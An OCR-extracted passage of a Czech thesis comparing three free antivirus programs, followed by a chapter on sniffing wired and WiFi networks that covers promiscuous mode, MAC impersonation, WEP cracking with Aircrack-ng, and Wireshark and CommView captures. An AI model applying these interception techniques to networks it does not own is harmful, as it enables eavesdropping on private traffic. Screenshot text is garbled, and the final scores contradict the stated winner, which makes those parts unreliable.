ze MSE ve vychozim nastaveni, oproti konkurencnim feSenim, skenuje i komprimované

soubory. Béhem testovani se nevyskytla zadna odlehla pozorovani.

4.1.4 Hardwarova naroc¢cnost

Kritérium ,,Hardwarova narocnost odrazi skuteCnost, jak moc jednotlivé
antivirové programy vyuZzivaji pro svou c¢innost systémové zdroje pocitace a také jak
efektivné jsou schopny tyto zdroje vyuzivat. Zaté€z byla meéfena pro rezidentni Stity
programil a poté pro skenovaci moduly. Kazdy z testovanych programi mél pro skenovaci
modul moznost nastaveni priority. Pfi testovani tohoto kritéria bylo pouzito vychozi
nastaveni jednotlivych antivird. Pro méfeni alokace systémovych zdroji pro jednotlivé
antiviry byl pouzit program ,Process Explorer v15.13% jeho vystupni hodnoty jsou
zachyceny v tabulce ¢ 6. Celkové skore programu pro toto kritérium pak zachycuje graf ¢
4,
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AVG Avast MSE
velikost instalace [MB] 110 86 17,6
vyuziti RAM [MB] max. 21,2 27,3 71,2
virtualni pamét [MB] max. 23,1 30,7 68,7
CPU [%] max. 20 30 10 - 100*
vyuziti RAM [MB] max. 150,2 128,9 367,5
virtualni pamét [MB] max. 101,5 401,9 410,9
CPU [%] 10-100 10.50 10 - 100*

Tabulka ¢. 6: Vysledky méireni HW naroc¢nosti jednotlivych AV

*hodnotu bylo mozné v tomto rozmezi nastavit
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Graf ¢&. 4: Skore AV programi v kategorii ,,HW naro¢nost“




AVG Anti-Virus Free Edition 2012

Rezidentni §tit AVG si pro svou ¢innost bral maximaln¢ 20% vykonu CPU a jeho
provoz byl pti bézné praci takika nezaznamenatelny.

Nastaveni priority skenovaciho modulu mélo tfi pevné stupné a jeden stupen
proménny (vychozi nastaveni), kdy se priorita menila v zavislosti na ¢innosti uzivatele. Pti
nastaveni zmiflovaného proménného stupné by tak mélo dochazet k maximalni efektivité
pti vyuzivani systémovych zdroji a zaroven by nastaveni mélo uzivateli béhem antivirové
kontroly umoznovat béznou praci s PC. V praxi vSak dochazelo k ur¢itému zpozdéni pii
realokaci systémovych zdroji, coz mélo za nasledek ne zcela plynulou praci se
spusténymi programy. [ pfesto lze toto nastaveni povazovat jako plus hlavné diky
zminované efektivité pfi vyuziti systémovych zdroji. Na maximalni prioritu se PC na

béZnou praci pouzivat nedalo, vytizeni procesoru bylo de facto konstantnich 100%.

bi{_Process Explorer - Sysinternals: www.sysinternals.com [BEDA-NOTAS\Administrator]

: Eavgscanx.exe:436 Properties. A= § I avgcsrvx.exe:2360 Properties

E | Threads | TcPP | Security |  Envionment | Strings | = | Threads | Tceap | security | Environment | Strings |
1 Image Performance Performance Graph | Disk and Network | i | image | Performance | Performance Graph Disk and Netwark
B[ | crUUsage nn CPU Usage L
=]
b o
) \« WW\ MM H rml”\
i ¥
] [ ' W, f ‘"“I g\' ﬂr;
E 11.86% 3557%
&
= Private Bytes Private Bytes
LA -
T System Commit| o]
34.2MB
gss 18:48:55
re:s
Dire 32MB 27418
Dires 1o jo 1
File
File:
File
File
File:
File l l
Fie 1547 KE 3164 KB i ]
File
File:

- — 01 A 1111501 181 AT 10 P 0 LR TN

CPU Usage: 75.26% | Commit Charge: 17.85% | Processes: 76  Own Threads: 258 Own Handles: 7213 | Physical Usage: 40.32%

Obrazek ¢. 8: ZatiZeni PC pri skenovani pomoci AVG
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Avast! Free Antivirus 7

Avast pomérné znateln€¢ prodlouzil dobu nacitani systému a i rezidentni §tit byl pti
bézné praci obcas zaznamenatelny, kdy si byl schopen vzit 1 30% vykonu CPU.

Nastaveni priority skenovacitho modulu meélo tfi pevné stupné, pfiCemz i na
maximalni prioritu (vychozi nastaveni) byl procesor vytéZovan pouze v rozmezi mezi 10%
a 50% svého vykonmu. Primérna hodnota pak byla nékde okolo 30%. I b&hem testu

S nejvyssi prioritou bylo s PC bez vétSi problémti mozné pracovat, ale Avast se tak

neukazal v nejlepsim svétle v oblasti efektivnosti vyuzivani systémovych zdrojut.

Wil AvastSvc.exe:576 Properties

Threads TCR/IP Security Enviranment Strings Services Threads e Security Environment Strings
Image Performance Performance Graph Disk and Network Image Performance | Performance Graph Disk and Metwork
CPU Usage CPU Usage
s
W Y

13.98% J.;Jra'lvn A_' " iotat i o i P . 10.75% ﬁm
Private Bytes Private Bytes

13.4 ME IJ 223MB
1fo 10

§

) ) VU\"\“AMM i 1
b g = e hedh )
= [ S Sy i T WL

[ OK ] [ Cancel ] [ OK ] [ Cancel ]

Obrazek ¢. 9: ZatiZeni PC pii skenovani pomoci Avastu

Microsoft: Security Essentials 2.1

Antivirové feSeni od Microsoftu bylo z hlediska alokace systémovych prostiedkl
velice nendpadné a pii bézném provozu nebyla jeho pfitomnost na pocitaci nijak znat.
Maximalni zatiZzeni procesu lze pro tento antivir nastavit od 10 do 100% a to po 10%
skocich. Ve vychozim nastaveni je pro rezidentni §tit i skenovaci modul nastaveno
maximalni vyuziti CPU 50%. Této hodnoty nastaveni se MSE pii skenovani de facto
konstantné drzel. Pti skenovani tak Slo bez problému vykondvat béznou praci. Ze vSech
testovanych zplsobu fizeni zatéze tento fungoval asi nejlépe. DalSim plusem byl pro MSE

také fakt, ze na pevném disku zabird pouhych 17,6 MB.
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oxo- 14 ¥ ortie
[E msseces.exe 40 Properties E pENg i op i |

Threads TCR/IP Security Environment Strings Services Threads TCP/IP Security Environment Strings
Image Perfarmance | Performance Graph Disk and Metwork Image Performance | Performance Graph Disk and Metwork
CPU Usage CPU Usage
[T VT AN e Rt Ty ) M M
YT l[ ¥ v |||\U1J ¥
0.53% 48.40% & —
Private Bytes Private Bytes
8.9 MB £1.2 MB = -
jfis} 1o
n 5 i
0 483 KB [ § —p L =
[ ok ][ concel | [ o« | [ cencel

Obrazek ¢. 10: Zatizeni PC pri skenovani pomoci MSE 2.1

4.1.5 Spolehlivost

Kritérium ,,Spolehlivost®™ vyjadiuje schopnost programu detekovat a zneSkodiiovat
rozlicny malware. VSechny antiviry byly podrobeny testu, kdy byly nainstalovany do
systému obsahujiciho celkem 13 malware programii, z toho ve dvou ptipadech se jednalo o
rootkity a ve dvou o vlastni viry napsané v jazyce Delphi. Tyto viry jsou dale oznacované
jako ,custom viry” (zdrojovy kod jednoho z téchto virt je knahlédnuti v pfiloze

diplomové prace). Dale byla testovana schopnost antiviru ¢elit utoku na vlastni procesy a

detekovat takzvany ,zero day* maleware, kdy bylo ze serveru malwaredomainlist.com
vybrano deset ndhodnych vzorki. Po ukonceni testovani kazdého antiviru byla na pouZitou
PC stanici nahrana nova image obsahujici operacni systém Windows XP se stejnou sadou
malware, a to proto, aby ¢innost ptedchoziho antivirového programu neovlivnila vysledky
dalsiho testovaného feSeni. K zdlohovani dat byla pouzita casové omezena verze programu

Norton Ghost 15. Celkové skore programu pro toto kritérium zachycuje graf ¢ 5.
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Graf ¢. 5: Skore AV programu v kategorii ,,Spolehlivost*

AVG Anti-Virus Free Edition 2012

AVG si vtéto Casti testu nevedlo viibec dobie, kdyZ nebylo schopno detekovat
celkem 9 z 13ti malware. Jeho specidlni test na rootkity neobjevil ani jeden ze dvou
rootkiti, které v systému byly pfitomny. AVG také nebylo schopno detekovat ani jeden
Z custom virti a v oblasti detekce zero day malwaru propustilo dvé hrozby. Béhem testu
také detekovalo jednu false positive hrozbu. Jedina ¢ast, kde AVG uspélo na jednic¢ku, byla

detekce Gtoku na vlastni procesy, kdy bylo schopno hrozbu detekovat a zneskodnit.

Avast! Free Antivirus 7

Jako pravy opak AVG se pti detekovani a neutralizaci malware ukazal Avast, ktery
nebyl schopen detekovat pouze jednu hrozbu. Program také tspéSné zneSkodnil oba

rootky, ale bohuzel nebyl schopen detekovat ani jeden custom virus. Stejn¢ jako AVG pak
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propustil dva zastupce zero day malware, ovSem u jednoho z téchto pripadt byl schopen
blokovat ¢innost viru. Avast uspél i v posledni ¢asti testu, kdy byl schopny zablokovat utok
na své procesy a pouzity program analyzovat v sandboxu. Celkovy dojem z Avastu trochu

kazi dva false positive nalezy.

Microsoft: Security Essentials 2.1

Antivirovy program od spole¢nosti Microsoft se ukazal v oblasti detekce malware
spiSe jako primér, kdyz nebyl schopen detekovat celkem 8 z 13 hrozeb. Stejné jako AVG
neobjevil ani jeden rootkit a custom virus. Skore si pak mirné vylepsil v oblasti detekce
zero day malware, kdy byl schopen zneSkodnit vSechny hrozby. Stejné jako ptedchozi
feSeni 1 MSE byl schopen odolat utoku na své procesy. Antivirus také detekoval jednu

false pozitiv hrozbu.

4.1.6 Vyhodnoceni

Celkove vysledky testu antivirovych programi jsou zobrazeny na grafu ¢. 6. Pro
urceni nejlepsiho antivirového software bylo uzito metody vazeného priméru vypocteného
ze vsech sledovanych kritérii. Vahy jednotlivych kritérii udava tabulka ¢. 7, samotny

’ v s r o v S v. [43
vzorec pro vypocet vazené¢ho primeru vypada nasledovne: 93]

k
__ Zi=1XiNYy
_ k
i=1 1
k.....pocet kritérii
Xi....kritérium
Ni....vaha kritéria
Kritérium (Xi) Vaha (ni)
Vybava 1
Pouzitelnost 1
Rychlost 0,5
Hardwarova naroc¢nost 1
Spolehlivost 2

Tabulka €. 7: Vahy kritérii
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Graf & 6: Celkové skore AV v testu

AVG Anti-Virus Free Edition 2012 - Celkové skore 5,36

AVG ziskalo skoro ve vSech kategoriich vysokd hodnoceni, ale v kategorii
spolehlivost zcela propadlo. Diky pouZzité metodice, kterd dava pravé spolehlivosti nejvyssi

vyznam pak antivirus AVG tak skon¢il na poslednim misté.

Microsoft: Security Essentials 2.1 - Celkové skore 6,64
Antivirové feseni sazi piedevsim na uzivatelsky jednoduché ovladani a nizké

hardwarové naroky. V detekci malware se vSak jedna spiSe o pramér.

Avast! Free Antivirus 7 - Celkové skore 5,91
Jako nejlepsi testované antivirové feSeni se ukazal Avast. Vynikal pfedev§im
bohatou vybavou pro free antivirus nadstandardnich funkci a pfedevsim vysokou

spolehlivosti.
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4.2 Snifing

Mezi jedno z nejvétSich bezpe€nostnich rizik pocitacovych siti patii takzvany
sniffing, neboli odposlech pakett. Jedna se o pasivni a vétSinou nenasilnou metodu priniku
utocnika k privatnim datim a zdrojim. Takto ziskana citliva firemni, ¢i osobni data pak
muze Utocnik vyhodné zpenézit u konkuren¢nich subjektli dané firmy, nebo je dale
zneuzivat ve svilj prospéch. Pokud mluvime o priniku ke zdrojim, jedna se pak predevsim
o situace, kdy uto¢nik ziskd z napadené WiFi LAN sité pfistup do internetu, ¢i dokonce
pfimo ovladne ptistupovy bod do WLAN sité¢. Mimo skute¢nosti, ze utocnik se pak muze
pfipojovat zdarma do internetu tak zvané ,,na na§ ucet”, mize také zneuzivat IP adresu
napadeného pfistupového bodu k dal§im podvratnym ¢innostem, jako jsou rizné¢ DDOS
utoky a podobné.

V domécich sitich je pak prav€é zminovany neoprdvnény prinik ke zdrojim
nejcastéjSim motivem k napadeni sit€ ato¢nikem. Sniffing je sice z hlediska tniku citlivych
dat velice nebezpecna metoda, ale plati pro ni n¢kterd omezeni a pravidla vychdzejici
vétsinou z technické realizace dané sité, proto budeme stejné jako v tieti kapitole této prace
rozliSovat odposlech na dratovych a bezdratovych sitich.

Je dobré jest€¢ upozornit na fakt, ze odposlech nemusi byt vzdy spojovan jen
S bezpecnostnimi riziky v siti. Této metody je bézn¢€ vyuzivano k analyze problému v siti,
¢i analyze odchozich a pfichozich paketi pro konkrétni stanici pii podezieni na
nevyzadanou komunikaci spojenou s pouzivanim rtiznych trojskych kona (dale jen trojant)

a podobné.[1]

4.2.1 Odposlech na dratovych sitich

Odposlech byl realizovan na siti typu Ethernet, pro ostatni druhy dratovych siti
nemuseji byt uvedené principy odposlechu platné, predevSsim pokud nesdileji stejnou
topologii. AvSak 1 ethernetové sit¢ musime jeSt¢ dale rozdélit dle pouZitych sitovych
prvkl,, nachazejicich se v topologii sité. Pokud je totiz sit' realizovana pomoci

rozboCovacitho HUBu, jsou vSechna data vysilana ke vSem pfipojenym prvkiim sité¢ bez
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ohledu na to, zda se komunikace dané stanice tyka, ¢i netyka. Je-li vSak sit’ realizovana
pomoci switche, data jsou posilana pouze té stanici, které se komunikace skutecné tyka.
Zminované druhy zapojeni sit¢ pak maji zasadni vliv na realizaci odposlechu datové
komunikace v siti.

Jak uz bylo feceno vyse, v sitich realizovanych pomoci HUB zatizeni jsou pakety
vysilany ke v§em stanicim bez ohledu na to, pro kterou jsou ur¢eny. Rozhodnuti, zda data
ptijmout a dale zpracovat, tak provadi sitova karta kazdé stanice sama. Ovladace sitovych
karet jsou napsany tak, aby data, kterd nejsou pro danou stanici ur€ena, byla jednoduse
ignorovana a pravé zde je slabé misto, které je mozno zneuzit k odposlechu dat. Postaci
K tomu specialni verze ovlada¢i pro sitovou kartu, které ji dokazou prepnout do
takzvaného ,,promiskuitniho* modu. Takto modifikovana karta pak piijima veSkera data
prochézejici siti, takZe 1 ta, ktera pro ni primarné nebyla urcena. Tato data pak Ize pomoci
vhodnych programii, jako je tfeba Wireshark, ukladat a dale analyzovat. Nastésti v dneSni
dob€ jsou jiz HUBy piezitkem a jako centrdlni uzly se v sitich pouzivaji predevsim
ptepinace, nebo-li switche.

Situace, kdy je v siti jako centralni prvek pouzit switch, je pro sniffing o poznani
mén¢ vhodnd, ale ne nutné¢ bezvychodna. Data jsou sice v tomto piipadé¢ switchem
smerova piimo na stanici, pro kterou jsou urcena, ale existuji metody, jak utocnik muze
Vv siti napodobit jinou stanici a tak se k pozadovanym datim dostat. Nejcastéji je utok
realizovan vhodné nacasovanym DDOS utokem zaméfenym na stanici, kterou chce
uto¢nik napodobit. Po vyfazeni této stanice z provozu pak sta¢i na Utocnikové stroji
naemulovat MAC adresu jeji sitové karty a zbytek sité si pak mysli, Ze komunikuje
S ptvodni stanici. Jako v pfedchozim piipadé pakety lze pak jednoduSe analyzovat jiz
zminénym programem Wireshark. Dal$imi méné nasilnymi moZnostmi, jak v takovéto siti
realizovat sniffing, je pak odposlech na né&jakém dualezitém uzlu sité (switchi, nebo
routeru), ¢i do sité zatadit specidlni hardwarovy miustek, ur¢eny k naslednému sbéru dat.
Tyto metody vSak vyzaduji pfistup ke kliCovym prvkiam sité, které ve velkych firmach

byvaji dobie zabezpeceny. [3]

Jak uz bylo teceno, sniffing ma néktera sva pravidla a omezeni. V piipadé

dratovych siti se pak jedna také o fakt, Ze odposlech je nutné provadét ze zatizeni fyzicky
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pritomnych v dané podsiti (subnetu). Nelze tak prostfednictvim stanice v internetu jen tak
odposlechnout komunikaci ve vybrané LAN siti a to i kdyz je prostfednictvim néjaké
brany do sit¢ WAN piipojena. Takovy vzdaleny odposlech je mozny pouze v kombinaci
s n¢jakym sniffovacim trojanem, ktery pieposila odposlechnuté pakety na vzdalenou
stanici uto¢nika, kde jsou ukladany a posléze vhodnym softwarem analyzovany. Sniffovaci
trojan je vSak nejdfive nutné na cilovou stanici nainstalovat a to nebyva pftili§ jednoduché.
Moznosti jsou v zdsad¢ dve, bud’ toénik uzivatele presvéd¢i o nezavadnosti softwaru
obsahujici zminovany trojan a ten si jej posléze sam nainstaluje a nebo uto¢nik provede
instalaci vzdalené prostfednictvim nékterych nevyzaplatovanych bezpe€nostnich dér

V operac¢nim systému.

Nasledujici ¢ast kapitoly je zaméfena na odposlech paketlh mezi stanici a routerem

na bézné dratové LAN siti typu Ethernet. K zachytavani byl pouzit program WireShark
1.4.6 a knihovna WinPcap 4.1.2.

Characteristics | Statstics| 502.3 (2thernet)| | Task Offioad

Characteristics

Vendor description Realtek 10/100/1000 Ethernet NIC (Microsoft's Packet Scheduler)
Interface \Device \WPF_{AF27B2DC-9FD1-4BE4-8C9D-0F 25CCBIDEEF}

Link status Connected

Link speed 100 MBitsfs

Media supported 802.3 (Ethernet)

Medium in use 02,3 (Ethernet)

Physical medium
NDIS Driver Version 5.0

Website
Vendor Driver Version 5.686 (Hex: 5.24E) @ Vit the mroject's mebste
Vendar ID 00:23:54 (BsustekC) NIC: 00 S gl e
MAC Options 802. 1P Priarity: Unsupported, 802, 1Q VLAN: Unsupported _ .
g ' 4 User's Guide

Transmit Buffer Space 1550336
Receive Buffer Space 775168
Transmit Block Size 1514

il Wireshark: Capture Interfaces

Destription i Packets Packetsfs
Receive Block Size 1514
Maximum Packet Size 1514 2 [Commiew] Atheros AR928X Wireless Network Adapter (Microsoft's Packet Scheduler) 192.158.0,173
£ Realtek 10/100/1000 Ethemet NIC (Microsofts Packet Scheduler)  192,168.100.2
.
Mote: accuracy of a\II
w Specific information for capturing on: Etharnet, WLAN, ..,
|hth::,’;"u\'iki‘wireshark‘0rngapt.lreSeth;NEb\lorkMEdiai
v
O Ready to load or capture Mo Packets Profile: Default

Obrazek €. 11: Wireshark — piehled sit'ovych adaptéra
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Na obrazku €. 11 vidime rozhrani programu Winshark a vybér sitovych adaptéra
dostupnych na odposlouchané stanici. V levé casti je pak detailni popis adaptéru znacky

Realtec, na kterém budeme pakety zachycovat.

* The Wireshark Network Analyzer

file Edt View Go Capture Analyze Stetistics Telephony Tools Help

- - e ... Y Pz

"~ |Wireshark: Capture Options

=l m

WEBX B

Capturs

Interface: Realtek 10/100/1000 Ethemet NIC (Microsof] ~ ] 7 Wireshark: Remote .. o B

IP address: 192.168.0.142

Link-ayer header type:

Capture packets in promiscuous mode

Host: ‘ | |

Part: ‘ |
|| -Authentication

[ capture packets in peap-ng format (zxperimental) ) ,.
7] initeach padeet o | e Buffer size: I:V megabyte(s) (&) Nl authentication
Limit each pa 1 ytes
[ I l | |B () Password authentication
Capture Filter:
Capture File(s) -Display Options
File: Browse... : puide
n o0, | s | [ ] Update st of packets in real tme l — J [ — l e b vesion k)
SE Mulopie mies i } G Cancel
& : Automatic scrolling in live capture ety snif
Ne = EieEre i Wark with Wieshark 2s securely 25 possitle
- he wiki
_‘ . rName Resolution
\ Stop Capture Enable MAC name resolution
0. after |1 = [ Enable network name resolution
O .. after |1
@ O] ..afer |1 Enable transport name resolution
(o o
O| Ready to load or capture | Mo Packets | Profile: Default

Obrazek ¢. 12: Wireshark — moznosti zachytavani

Na obrazku €. 12 je vidét riizné moznosti nastaveni odposlechu. Mimo jiné funkce
Wireshark nabizi 1 vzdalené pfipojeni, zachytavani je tak moZno provadét i ze stanice
umisténé mimo danou LAN sit. Mezi samoziejmosti pak patii moZnost pfepnout sitovy

adaptér do promiskuitniho modu.

Samotné testovani odposlechu pak spocivalo v zachyceni poZadavku klientské

stanice na vyhledani slova ,test“ na webu www.google.com. Na obrazku ¢. 13 je vidét

detail vypisu zachycenych paketi obstardvajici spojeni klienta (IP: 192.168.0.142) se

62


http://www.google.com/

serverem Gogole (IP: 74.125.39.103). Radek obsahujici [SYN] znamen4 Zadost o spojeni,
radek obsahujici [SYN ACK] je pak potvrzeni uspésného spojeni serverem. Jednotlivé

protokoly ucastnici se spojeni rozliSuje Wireshark barevné viz. obrazek ¢. 13 a ¢. 14,

31.514234 192.168.0.142 192.168.0.254 DNS standard query A www.google.com

41.516276 192.168.0.254 192.168.0.142 DNS standard guery response CNAME www.1.google.com A 74.125,39.103
51.661866 192.168.0.142 74,125.39.103 TCP isbconference2 = http [SYN] Seg=0 Win=65535 Len=0 M55=1460 Ws=
61.679364 74.125.39.103 192.168.0.142 TCP http » isbconferencez [SyN, ACK] Seq=0 Ack=1 win=5720 Len=0 Ms
71.679466 192.168.0.142 74.125.39.103 TCP isbconference2 > http [ACK] Seg=1 Ack=1 wWin=262144 Len=0

Obrazek ¢. 13: Wireshark — navazani spojeni

"' wireshark_google.pcap - Wireshark

File Edit View Go Capture Analyze Statistics Telephony Tools Help

Bueded EEXZEE A¢saTLIEE QAN §EB %8

Filter: | | ¥  Expression... Clear Apply

No. Time Source Destination Protocol | Info
1 0.000000 192.168.0.142 192.168.0.254 DNS standard query A suggestqueries.google.com 3
2 0.002118 192.168.0.254 192.168.0.142 DNS standard query response CNAME suggestqueries.l.google.com A 74
31.514234 192.168.0.142 192.168.0.254 DNS standard query A www.google.com
41.516276 192.168.0.254 192.168.0.142 DNS standard query response CNAME www.1.google.com A 74.125.39.103
51.661866 192.168.0.142 74.125.39.103 TCP ishconference? > http [SYN] Seg=0 win=65535 Len=0 M55=1460 WsS=
61.679364 74.125.39.103 192.168.0.142 TCP http > isbconference? [SyN, ACK] Seq=0 Ack=1l win=5720 Len=0 M5
71 1492 168 o d. 43 I I Y VWY = s 5 2 L.--I [aci] con_ — i 2144 Len=0

ﬂ . 695506 192.168.0.142 74.125.39.103 HTTP  GET /search?g=test&ie=utf-8&oe=utf-8&a a:C5:0
91. 713000 T T T Tl Pep——— v

Frame 8: 760 bytes on wire (6080 bits), 760 bytes captured (6080 bits)
Ethernet II, Src: AsustekC_7a:be:6d (00:23:54:7a:be:6d), Dst: 00:4f:67:00:b2:2c (00:4f:67:00:b2:2¢)
Internet Protocol, Src: 192.168.0.142 (192.168.0.142), Dst: 74.125.39.103 (74.125.39.103)
# Transmission Control Protocol, Src Port: isbconference2 (1245), Dst port: http (80), Seqg: 1, Ack: 1, Len: 706
-/ Hypertext Transfer Protocol
B GET /. ?

(] . . e,

User-aAgent: Mozilla/5.0 (windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1\r\n
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/%;q=0.8\r\n
Accept-Language: ¢s,en-us;g=0.7,en;g=0.3r\n

accept-encoding: gzip, deflate\rin

accept-Charset: windows-1250,utf-8;g=0.7,%;g=0.7"r'\n s
| 4

0030 A~
0040 —~
0050 -8&ag=t&
0060 . mozilla:
0070 [ 3 ialaclig
WLEI/Ge 74 3 nt=firef W
Fatatalsl Fa) o o il 77 ot I pememas —
Q Textitem (text), 37 bytes Packets: 94 Displayed: 94 Marked: 0 Load time: 0:00.062 Profile: Default

Obrazek €. 14: Wireshark — analyza packeti

Na obrazku €. 14 pak miZeme vidét detailni vypis obsahu vyznac¢eného paketu, pii
bliz§im ohledani vidime Z&dost o vyhledani slova ,test“. Z vypisu lze mimo jiné také
vypozorovat udaje o pouzitém prohlizeci (Firefox 4.0.1) a opera¢nim systému (Windows
NT 5.1 = Windows XP). V dolni ¢asti okna je pak k dispozici vypis tplného obsahu paketu

Vv Hexadecimalni matici.
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4.2.2 Odposlech na bezdratovych sitich

Oproti dratovym sitim maji ty bezdratové z hlediska odposlechu jednu nespornou
vyhodu, data jimi protékajici nejsou fyzicky chranéna zadnou kabeldzi a i1 kdyz jsou
smérovana podobné jako tomu je u switchovanych siti, pfi nastaveni WiFi sitové karty do
promiskuitntho moédu je lze volné zachytavat ze vzduchu. Aby to vSak nebylo tak
jednoduché, existuji pro WiFi pienos bezpeCnostni a Sifrovaci standardy, které maji
zamezit korektni interpretaci odposlechnutych dat. Mezi dnes pouZivané bezpeCnostni
standardy fadime WEP, WPA s Sifrovanim TKIP a WPA2 s Sifrovanim AES, pficemz
prvni feSeni WEP je jiz néjakou dobu zcela prolomeno a neni povazovano za bezpecné.
Existuji vSak 1 zpisoby jak prolomit WPA a WPA2. Tyto metody jsou vSak GspéSné pouze
pi1 Spatné volbé Sifrovaciho klice (PSHK ,pre-shared key*). Uzivatelim s dostatecné
dlouhym fetézcem ndhodnych znakt nehrozi Zadné bezpecnostni riziko.

Samotny postup odposlouchavani WiFi sité s WEP a WPA zabezpecenim je pak
podobny jako u kabelovych siti pouzivajici HUB rozbocovace, s tim rozdilem ze nejdiive
je nutné prolomit dana zabezpeceni. Nejprve utocnik pomoci upravené¢ho ovladace nastavi
svou WiFi kartu do promiskuitniho médu a za¢ne zachytavat pakety Sifici se v jeho
dosahu. Pocet paketi pottebnych pro ziskani WEP kli¢e je pfimo zavisly na délce
pouzitého hesla. Jelikoz pied samotnym prolomenim klice nelze jeho délka nikterak zjistit,
byly uvazovany hodnoty pro nejdelsi mozny WEP kli¢, jehoz délka ¢ini 128bith
(respektive 104 biti viz. kapitola 3.2.1). To znamend, Ze k prolomeni by mélo stacit
piiblizn¢ 2 miliony odposlechnutych paketi. Po nashromadzdéni tohoto mnozstvi paket
pak lze pfistoupit k samotnému deSifrovani. Mezi technologicky nejpokrokovéjsi,
nejrychlejsi a nejpopularnéjsi se v této oblasti fadi program Aircrack-ng v aktualni verzi
1.1. Tento program potiebuje na rozsifrovani WEP kli¢e ptiblizn¢ 1000 IV (Initialization
vector) paketl nesoucich informaci o PSHK (1000 IV paketi je ze statistického hlediska
obsazeno v priblizné 2 mil. paketech bézné WiFi sitové komunikace). Zatimco sbér
potiebného mnozstvi dat mtize trvat v zavislosti na ¢etnosti komunikace (trafficku) v dané
siti 1 n€kolik dnii, samotné prolomeni klice je pak pfi pouziti dostate¢ného vypocetniho
vykonu otazkou par vtefin.[37][39][3]

Po ziskani klice se Uto¢nik muze pfipojit do napadené bezdratové sité a dale
odposlouchavat a analyzovat citliva data, ¢i vyuZivat spole¢né zdroje sit€ jako jeji béZny

uzivatel.

64



Jako u dratovych siti 1 zde plati pro odposlech ur¢itd omezeni, jednak utoénik musi
byt v dosahu takovéto bezdratové sité a jednak je mozné odposlouchavat v dany okamzik
pomoci jedné karty pouze jeden kandl, tedy pouze ¢ast frekvenéniho rozsahu standardu
bezdratové komunikace IEEE 802.11. Z toho plyne i fakt, Ze pfi odposlechu bezdratové
sité nedochazi k odposlechu piimo jedné stanice, ale vSech zafizeni komunikujicich na
daném kanalu. Pomoci vhodnych sniffovacich programt jako je Wireshark, ¢i CommView

je pak nutné odposlechnuta data pridélit k jednotlivym zatizenim.

K odposlechu na WiFi siti byl pouzit program Commview for WiFi 6.3 s interni sadou
drivert umoznujici WiFi sitovému adaptéru nativni odposlech v promiskuitnim modu.
Program Wireshark, pouzity v predchozim ptipadé, tuto sluzbu totiz nativné pro WiFi
karty nepodporuje. Pro tyto ucely je k dispozici pouze emulace enthernetové komunikace
standartu 802.3, ta je vSak podporovana pouze nékterymi sitovymi adaptery, mezi které
pouzity Atheros AR928X nepatiil.

Samotné zachytavani paket je pak podobné tomu na normalni ethernetové siti,
ovSem vétSinou pakety nelze kvili pouzitému kodovani spravné interpretovat. Je tedy
nejprve nutné prolomit zabezpeceni odposlouchavané sité. Test byl proveden na siti SSID:
»skynet s velmi slabym zabezpecenim, realizovanym pomoci standartu WEP s 64bitovym

klicem. Pozdé&ji byly testovany i zabezpeceni WPA s TKIP a WPA2.
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Prolomeni zabezpeceni WEP

Scanning | Options
Access Points & Hosts Signal S5ID = Details:
Gg ShenzhenTp:ED:C9: 26 moooo Angkin_wireless Is Access Point: Yes
ES D-Linki30:37:FE mOOO0O0 Macek Is Wireless Host: Yes
ws EdimaxTech:549E:E2 moooo default WEP /WPA: WPA-CCMP
Gg D-Link:A5:3F: 26 moooo Fuldas web S5ID:
&2 To-LinkTeciB2:28:5C moooo Dominka S s e
@g ToLinkTec:DE: 41554 moooo Midi MAC Address: 00:25:86:61:97: 2E
inkTec:DE:41: iclir
P 1P Address: Unknawn
= channel 7
% CeaCTechna:70:82:20 moooo mojesit Scanner
& Channel 8 l Stop Scanning ]
w 00:4F:62:07:4A: AR mOoo00 MntAP-01_51
= Charnel 10 ’ Reset ] [ Save ... l
mg 00 Fie2i0DiARGL mOoo00 MntAP-01_52
. . Capturing
00:4F:62:0A4:98:51 mEO0O000 fel tap03(ww. .. . .
L " pemniEpt S Select a channel and dlick "Capture” to close the
= Channel 11 scanner window and start capturing
Eg AsustekCom:00:43:EF moooon WATERSLAND
_ Gg AsustekCom:E6:0D:61 moooo WLE20GC_OHx2 Band: | 302. 11bjgjn v |
L0 TpLinkTec:B1:97:2E
= Channel: | 11 - |
a4 Apple:D2:23:B3 moooo IconBakery
ES AsustekCom:D&:CCi57 mOOO0O0 Ebrieta L3
b
802. 11bfg/n: Scanning channel 1...

Obrazek ¢. 15: Commview — scan sité bez SSID

Pomoci zabudované skenovaci utility programu Commview lze nalézt veskeré
bezdratové sité v dosahu. Jak je patrné z obrazku €. 15 pted odhalenim vas neuchrdni ani
vypnuty broadcast SSID sité. Pro simulaci Gtoku na zabezpeceni WEP byla vybrana sit’
»skynet®, vysilajici na kanalu ¢islo 4. Jak je z obrazku €. 16 patrné, do sité je na kanalu
Ctyfi pfipojena 1 sledovana stanice, jejiz pakety budou nésledné odposlechnuty. Pomoci
vystupu scanu programu Commview dale vidime i pouZitd zabezpeceni a MAC adresy
vSech ucastnikli bezdratové komunikace v nasem dosahu. Program je také schopen rozlisit,
zda se jedna o AP ¢i klienta a zobrazit u nich atlum v decibelech reprezentujici kvalitu

signalu.
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Scanning | Options |

Access Points & Hosts
B Channel 1

Eﬁ’ AsustekCom:55:78: 24
= Channel 2

g 00:4F:62:0E:85:3F
= Channel 4

2 00452248590

E Channel &
& DlinkigFi2ae
&% Dinkias:F26
&% TodinTeciC3:A5:04
%’ ShenzhenTp 519CE2
= Channel 10
By 00:4F162:04:98:51
B Channel 11
%’ AsustekCom:00:43:EF
Ei’ AsustekCom:B2:22:C0

Signal

mOooo

mOo0Ooo

EEEEO

mOo0Ooo

mOo0Ooo

mOooo

mOo0Ooo

mOo0Ooo

EEOOO0

mOo0Ooo

551D

oliva

MntaP-01

skynet

diink123
Fuldas web
TP-LIMNK
TP-LINK

feli-mntap03iww...

YWATERSLAMND

Gomez

Details:
Is Access Point: Mo
Is Wireless Host: Yes
WEP/WPA: WEP
SSID:
signal Level: -42 dBm
MAC Address: E0:2A:82:E1:3F:51
1P Address: Unknown
Scanner
l Stop Scanning l
l Reset l [ Save ... l
Capturing

Select a channel and dick "Capture” to dose the
scanner window and start capturing

Band: |802.11bfgfn v|

Channel: |-1 w |

302. 11b/g/n: Scanning channel 14 ...

Obrazek ¢. 16: Commview — vysledky scanu WiFi 802.11 b/g/n

Jak uz bylo feceno diive, pfi odposlechu WiFi sit€ neni mozné odposlechnout

samostatné konkrétni stanici, ale je nutné vzdy odposlechnout cely kanal. Na obrazku €. 17

